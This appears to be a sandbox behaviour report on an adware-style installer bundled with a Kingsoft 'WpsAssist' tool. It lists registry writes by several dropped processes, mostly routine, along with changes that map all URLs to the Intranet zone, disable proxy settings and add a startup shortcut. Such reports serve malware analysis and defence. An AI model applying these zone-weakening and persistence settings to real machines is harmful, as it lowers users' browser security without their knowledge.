[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Kingsoft\WpsAssist\Common]
"Version" = "1.0.0.0195"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Kingsoft\WpsAssist\Common]
"infoGUID" = "{96D8A049-9608-479F-9CD4-9401117A35B9}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\WpsAssist]
"DisplayName" = "文档美化大师"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Documents and Settings%\%current user%\Local Settings\Application Data\速捷搜索.lnk, \??\%Documents and Settings%\%current user%\Start Menu\Programs\Startup\速捷搜索.lnk, \??\%Documents and Settings%\%current user%\Local Settings\Application Data\速捷搜索.lnk, \??\%Documents and Settings%\%current user%\Start Menu\Programs\Startup\速捷搜索.lnk, \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\wpsassist\~8c84a\install_res\1.png,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\WpsAssist]
"DisplayVersion" = "1.0.0.0195"
"UninstallString" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\utility\uninst.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCR\Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\TypeLib]
"Version" = "2.5"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist]
"assistupdate.exe" = "Assistant Expansion tool"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\WpsAssist]
"LocationRoot" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 2B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Kingsoft\WpsAssist\Common]
"DistSrc" = "80.1015"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\WpsAssist]
"Publisher" = "Kingsoft Corp."

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BC A9 D8 22 C5 51 D1 AA B8 89 33 42 3A 77 B9 4D"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCR\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.5\HELPDIR]
"(Default)" = "%Program Files%\Common Files\Microsoft Shared\OFFICE14"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\WpsAssist]
"DisplayIcon" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\utility\uninst.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Persisted\%Documents and Settings%\%current user%\Local Settings\Temp\nse8.tmp]
"OfficeAssist.0195.80.1015.exe" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCR\Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\TypeLib]
"(Default)" = "{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process fm4svr.exe:3608 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 2C 52 55 51 07 9F E7 67 93 09 8D 4C 2D 11 50"

The process fm4svr.exe:1392 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 24 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "54 F2 26 D3 49 52 82 40 FB CB A7 7B FA C1 CF E4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process fjwyusp.exe:1336 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\fjwyusp]
"a-zm-157391-v5.exe" = "a-zm-157391-v5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\fjwyusp]
"IFoxInstall-y-c203945859-run-s-x.exe" = "SHOnlineInstall Application"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\fjwyusp]
"xkcc_50091167828.exe" = "安装文件"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\fjwyusp]
"axult.exe" = "axult"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A8 04 73 F2 EC 13 C6 CE 4E B0 BE 25 1D A7 94 17"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\fjwyusp]
"setup_2948-140896.exe" = "FM4.0安装程序"
"axuls.exe" = "axuls"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process axuls.exe:1160 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "80 C0 62 B1 41 4C EF E0 B6 C3 69 69 AF F8 01 81"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process ignite.exe:2576 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "87 40 3B 45 63 A0 34 86 04 D9 A6 99 93 92 E9 A6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process ignite.exe:2880 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FA E9 04 92 BE 57 E4 23 7D 44 4B 41 73 A5 45 90"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%System%\config\systemprofile\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%System%\config\systemprofile\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files"

The process ignite.exe:2764 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "19 92 71 BB 4F C3 9F 7D 2F 02 55 E3 09 44 22 8A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

